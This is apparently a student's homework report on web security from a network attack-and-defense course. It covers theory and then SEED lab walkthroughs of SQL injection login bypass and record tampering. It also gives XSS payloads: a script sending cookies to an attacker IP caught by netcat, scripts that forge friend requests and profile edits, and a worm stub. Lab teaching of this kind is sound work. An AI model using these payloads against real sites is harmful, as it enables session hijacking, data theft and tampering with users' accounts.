20199317 2019-2020-2 《网络攻防实践》第11周作业
1.实践内容
1.1 Web应用程序体系结构及其安全威胁
-
Web应用体系结构
其中,浏览器主要完成数据显示与展示内容的渲染功能;服务器负责完成主要业务的计算处理,由Web服务器软件、Web应用程序及后端数据库构成,并通过经典的三层架构,即表示层、业务逻辑层和数据层,来进行组织与构建。浏览器和服务器之间通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。 -
Web应用安全威胁:
1.2 Web应用安全攻防技术概述
1.2.1 Web应用的信息收集
-
手工审查Web应用程序结构与源代码
收集的Web应用程序信息有:(1)静态和动态生成的页面;(2)目录结构;(3)辅助性文件;(4)输入表单;(5)查询参数字符串 -
自动下载与镜像Web站点页面
自动下载与镜像Web站点页面的工具有:Linux系统,可以使用lynx、wget等工具;Windows系统,有TelePort Pro、Offline Explorer。 -
使用Google Hacking技术审查与探测Web应用程序
Google Hacking技术特指使用Google搜索引擎或其他的Google应用,在Web站点中的配置、计算机代码及包含数据中,寻找安全漏洞与敏感信息的计算机黑客技术。 -
Web应用程序安全评估与漏洞探测
针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查。对于Web应用程序安全评估和漏洞探测,往往需要一些辅助分析工具包,包括如下三种重要类型:
(1)浏览器插件:能够在你浏览网站时,实时地查看和修改传递给远端Web服务器的数据。
(2)免费工具集:其中一类工具以Web服务器与客户端之间的代理方式运行,如微软开发的Fiddler;另一类工具结合爬虫技术对目标Web站点进行源码爬取、分析与评估探测,发现其中的安全漏洞,如Whisker与Libwhisker库、命令行工具Nikto、N-Stealth工具等。最后一类Web安全评估工具,如国内流行的注入工具NBSI、HDSI、Domain等。
(3)商业Web应用安全评估系统和漏洞扫描器。
1.2.2 攻击Web服务器软件
- Web服务器平台中的安全漏洞主要分为如下几大类:
数据驱动的远程代码执行安全漏洞:Web服务器软件包也面临着缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程渗透攻击,这类攻击往往能够让攻击者在Web服务器上直接获得远程代码执行的权力,并以相当高的权限执行任意命令。
服务器功能扩展模块漏洞:如IIS软件中被红色代码所利用的IIS检索服务缓冲区溢出漏洞等。
样本文件安全漏洞:如IIS4.0的样本文件showcode.asp和codebrew.asp中曾发现的一个典型样本文件漏洞,只需发出类似:“ http://SERVER/msadc/Samples/SELECTOR/showcode.asp?source=/../../../../boot.ini ”的URL请求,就允许攻击者任意查看Web服务器上的任何文件内容。
源代码泄露:最经典的源代码泄露漏洞包括IIS 上的“+.hr”漏洞,通过http://SERVER/global.asa+.htr”就可直接查看到global.asa文件内容.
资源解析攻击:Web服务器软件在处理资源请求时,需要将同一资源的不同表示方式解析为标准化名称,这一过程被称为资源解析。但是一些Web服务器软件可能在资源解析过程中遗漏一些输入合法性与合理性验证的处理,从而就可能导致目录遍历、敏感信息泄露、甚至代码注入攻击。
1.2.3 攻击Web应用程序
- 从攻击技术的角度,将Web应用程序安全威胁分为如下6类:
(1)针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等;
(2)授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段,包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制不完善弱点、会话身份窃取攻击等;
(3)客户端攻击:扰乱或者渗透攻击Web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等;
(4)命令执行攻击:在Web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入、SQL注入、SSI (Server-Side Include)注入等;
(5)信息暴露:获取Web站点具体系统信息的攻击手段,包括目录列举、信息泄露、路径遍历、资源位置可预测等;
(6)逻辑攻击:扰乱或者渗透攻击Web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击、对抗自动程序不完善、处理验证过程不完善等。
1.2.4 攻击Web数据内容
- 针对敏感数据内容的攻击威胁,具体包括:安全敏感数据泄露、网站内容遭受篡改,以及不良信息内容上传。
1.3 SQL注入
-
代码注入攻击通过利用Web应用程序的输入验证不完善漏洞,使得Web应用程序执行由攻击者所注入的恶意指令和代码,造成敏感信息泄露、权限提升或对系统的未授权访问等危害后果。
-
SQL注入攻击的原理:向Web应用程序提供的用户输入接口(如一个动态页面的输入参数、表单的输入框,等等)输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得以完成非预期的攻击操作行为。
-
SQL注入攻击步骤和过程
(1)发现SQL注入点
常见的SQL注入点存在于形如http://SITE/xxx.asp?some_rec=yyy的动态网页中,一个动态网页可能有一个或多个参数,参数类型也可能是整数型或字符串型,总之只要某些参数用于生成SQL语句访问数据库,就可能存在着SQL注入。
(2)判断后台数据库类型
后台数据库类型可以通过对数据库服务器的系统变量、系统表的查询来进行判断。
(3)后台数据库中管理员用户口令字猜测
进行管理员用户口令字猜解的攻击过程一般包括猜解表名、猜解字段名,以及用户名与口令猜解。
(4)上传ASP后门,得到默认账户权限
登录后台管理界面后,通过后台管理界面通常所提供的上传/下载文件等功能上传ASP后门,对Web站点进行远程控制。ASP后门被上传至Web虚拟目录的Script下,攻击者就可以通过浏览器访问它,进而得到Web服务器软件的默认账户权限,一般为受限的系统用户权限。
(5)本地特权提升
在第7章和第8章做过介绍,在此不再赘述。
(6)利用数据库扩展存储过程执行Shell命令
如果当前的数据库连接支持类似于MS SQL Server中的xp_ cmdshell 扩展存储过程,且拥有数据库管理系统的最高权限(如MS SQL Server的sa),那么我们就可以利用该存储过程直接调用操作系统的Shell命令进行任意的操作,而无须之前步骤(3)至步骤(5)烦琐的攻击过程了。 -
对SQL注入攻击的防范措施主要依靠对用户输入中特殊字符严格的输入验证机制,及对输入参数类型与长度的严格检查与限制机制。防范SQL注入攻击需注意如下几个方面:
(1)使用类型安全(type-safe)的参数编码机制
(2)凡是来自外部的用户输入,必须进行完备检查
(3)将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
(4)加强SQL数据库服务器的配置与连接
1.4 XSS跨站脚本攻击
-
与代码注入攻击不同的是,XSS跨站脚本攻击的最终目标不是提供服务的Web应用程序,而是使用Web应用程序的用户。
-
XSS攻击的技术原理:XSS跨站脚本漏洞存在于Web应用程序中,先查看Web应用程序中是否存在XSS跨站脚本攻击漏洞,再插入恶意的HTML或JavaScript代码,当用户浏览网页,客户端浏览器就会解析和执行这些插入的代码,从而造成获取用户敏感信息、客户端渗透攻击等危害后果。
-
XSS攻击类型
持久性XSS漏洞:通常出现于一些可以将用户输入持久性地保存在Web服务器端,并在一些“正常”页面中持续性地显示,从而能够影响所有访问这些页面的其他用户,因此该类XSS漏洞也被称作存储性XSS漏洞。这种漏洞通常出现在留言本、BBS论坛、博客等Web应用程序中。
非持久性XSS漏洞
针对这一漏洞的具体攻击包括如下几个步骤:
(1)攻击者构造出一个包含恶意脚本的bank com登录请求链接,并通过Email/HTTP等方式将该攻击链接发送给其他bank. com网站用户;
(2)受害用户点击攻击链接后,将会把恶意链接中包含的恶意脚本当作用户名参数提交给bank.com的登录处理网页;
(3)由于bank.com登录处理页面存在XSS漏洞,将会在反馈的欢迎页面中包含悲意客户端脚本;
(4)攻击者的恶意客户端脚本在受害用户浏览器中执行,通常会驱动浏览器向攻击者发送会话令牌,如会话ID、Cookie信息等;
(5)者获得用户会话令牌之后,就可以劫持用户会话,或者伪造用户登录bank.com,并可实施进一步攻击。 -
XSS攻击防范措施:
(1)服务器端防范措施:XSS漏洞的首要防范措施是对所有来自外部的用户输入进行完备检查,以“限制、拒绝、净化”的思路来进行严格的安全过滤,为了消除XSS攻击风险,需要采取一种三重防御方法来阻止漏洞的发生,包括输入验证、输出净化和消除危险的输入点。
(2)客户端防范措施:对抗XSS攻击需提升浏览器的安全设置,如提高浏览器访问非受信网站时的安全等级,关闭Cookie功能或设置Cookie只读,此外也可以采用非主流的安全浏览器如Chrome、Opera来尽量降低安全风险。
2.实践过程
实验环境
操作系统版本:SEED Ubuntu 16.04
服务:Apache 使用命令sudo service apache2 start
开启服务
web 应用:www.SEEDLabSQLInjection.com、www.xsslabelgg.com(镜像中已提供,可直接在sites for labs中进入)
实践一:SEED SQL注入实验
实践内容:访问www.SEEDLabSQLInjection.com查看实验所用的web应用程序, 该程序是一个简单的员工管理应用程序。完成下列任务:
- 对 SELECT 语句的攻击 (在不知道密码的情况下登录该应用程序)
- 对 UPDATE 语句的攻击 (在不知道密码的情况下修改某用户资料)
- 对抗 SQL 注入 ( 修复该web应用的SQL注入漏洞)
实践过程
- 对select语句的攻击
(1)打开www.SEEDLabSQLInjection.com
,看到一个登录窗口
随意输入一个用户名和密码,F12查看表单提交情况
可以看到进行校验的是unsafe_home.php
(2)命令行下,cd /var/www/SQLInjection/
,找到unsafe_home.php
,可以获得一些重要信息。
该web应用的数据库用户为root
,密码为seedubuntu
进行登录认证时,有admin用户
及其他用户
。用户信息表为credential
。
(3)根据上面得到的信息,用admin
账号进行登录,登录正确的SQL查询语句为
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’
这时如果我们输入Admin'#
,我们可以看到不需要进行密码验证,成功进入系统,看到所有的用户信息,这里的#
的作用是注释掉密码校验的部分,这就让SQL语句提前结束,也因此不需要输入密码验证。
- 对update语句的攻击
(1)在unsafe_edit_backend.php
中找到了处理update语句的地方
可以发现,员工只能修改自己的个人信息,而无法修改salary,那接下来我们攻击的就是修改salary。
(2)在对select语句的攻击
中,我们已经知道除admin之外的用户还有Alice、Boby等,这里我们用同样的方法,即Alice'#
登录Alice用户。
登录成功后,可以看到salary为20000。
(3)在(1)中,我们已经得知Update时正确的处理语句为:
UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id
点击edit profile
修改信息
这时如果我们在nickname
字段输入',salary='100' where Name='Alice'; #
这样做的目的是把update语句改为UPDATE credential SET nickname='',salary='100' where Name='Alice';
,而后面的修改部分则都由#注释掉了。
(4)我们可以看到成功修改salary为100
(5)同样,如果Alice登录自己的账号,但是构造语句',salary='100' where Name='Boby'
; #则可以修改Boby的salary。
- 对抗SQL注入
(1)SQL注入漏洞的根本原因是没有将代码和数据区分开。当组建一个SQL语句时,程序(如PHP程序)知道哪个部分是代码哪个部分是数据。不幸的是当SQL语句送往数据库执行时,这个边界被打破,当程序被注入时,SQL解释器看到的边界可能和最初的边界不一样。为了解决这个问题,保持服务端程序和数据库看到的边界一样就十分重要。
(2)因此可以使用magic_quotes_gpc避开特殊字符
,使用addslashes()来避开特殊字符
,使用mysql_real_escape_string避开特殊字符
,Prepare Statement
这些方法对抗SQL注入。
实践二:SEED XSS攻击实验
实践内容:访问www.xsslabelgg.com查看实验所用的web应用Elgg,利用XSS漏洞完成下列任务:
- 通过弹窗显示恶意信息
- 在消息窗口中显示 Cookie
- 窃取受害主机的 Cookie
- 使用窃取的Cookies进行会话劫持
- 修改受害者的信息
- XSS蠕虫
- XSS攻击
实践过程
- 通过弹窗显示恶意信息
(1)www.xsslabelgg.com中已有的账户信息【Alice:seedalice】【Boby:seedboby】
(2)打开www.xsslabelgg.com,并以Alice身份登录,点击alice的edit profile
(3)Alice在自己的profile(比如在the Brief desription域中)注入JavaScript代码,其JavaScript程序用于显示一个警告窗口:<script>alert('XSS');</script>
保存修改后,Alice会弹出一个XSS警告框
(4)Alice退出,以Body身份登入并访问Alice的profile,more—>members—>Alice
,弹出如下警告框:
- 在消息窗口中显示 Cookie
这个任务和上面类似,不同在于将插入的js代码改为:<script> alert(document.cookie);</script>
,然后以Boby身份登录查看Alice的profile,得到的弹窗如下:
- 窃取受害主机的 Cookie
分析:我们可以通过使恶意的JavaScript插入一个<img>
标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。
(1)下载echoserver解压并make编译
下面我们使用JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。
插入的js代码为:
<script>document.write('<img src=http://192.168.200.2:5555?c=' + escape(document.cookie) + ' >');</script>
192.168.200.2
为攻击机IP
(2)攻击者在命令行下执行nc -l 5555 -v # -l指定端口,-v显示详细信息
命令,监听5555端口。当用户访问Alice profile时,打印出当前用户的cookies。
- 使用窃取的Cookies进行会话劫持
(1)首先我们应该查看加朋友的时候都需要干什么。
点击Add friend,F12查看表单提交情况
可以看到添加好友需要__elgg_token、__elgg_ts、用户id(被添加的)
(2)接下来就是构造javascript代码了,其中的sendurl中包含了加朋友所需要的东西,也就是上面分析的。这段代码首先是获取elgg_ts和elgg_token,然后构造一个URL访问,44是alice号。
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
这段代码首先是获取elgg_ts和elgg_token,然后构造一个URL访问,44是alice号。
将这段代码放到Alice的About me中(这里注意要是edit HTML模式),即显示为Visual editor,因为原来的brief限制长度。
(3)接下来以Boby身份登录然后访问Alice的主页。
可以看到已经成功将Alice加为好友了
- 修改受害者的信息
(1)这个任务和上一个任务类似,构造的JavaScript代码如下,并将其放在Alice的about me中( edit HTML模式 )。
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
(2)以Boby身份登录然后访问Alice的主页。
成功修改了boby的profile。
- 编写XSS蠕虫
(1)首先我们开始编写代码,我们的目的就是这段代码能够复制到其他用户那里,那么我们的蠕虫目标就是完成了的,所以我们使用DOM来查看和使用HTML代码,innerHTML方法是开始和结束标签之间的HTML。。我们将下面的程序放在Alice的about me中。
<script id="worm" type ="text/javascript">
var headerTag = "<script id="worm" type="text/javascript">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
alert(jsCode);
</script>
(2)以boby的身份登录,然后访问Alice的profile
发现这段代码已经被成功的复制,说明利用DOM API成功的进行了蠕虫的复制。
- 对抗XSS攻击
(1)使用Elgg内置的安全插件HTMLawed
:使用管理员身份登录(账号:admin 密码:seedelgg)
-> Account->administration (top right of screen)
-> plugins (on the right panel)
将插件HTMLawed激活。
(2)使用htmlspecialchars()
的内置PHP,可用于对用户输入中的特殊字符进行编码。
3.学习中遇到的问题及解决
- 问题1:不会JavaScript的编程
- 问题1解决方案:借鉴同学博客里的代码
4.实践总结
这次实践的原理比较好理解,但就是对于JavaScript的编写存在困难,需要课下去学习。。。
参考资料
- [《网络攻防实践》(诸葛建伟著)]
- 网络攻防实验-XSS攻击-基于Elgg-Task1-4
- 解建国同学的博客
- 张柁苧同学的博客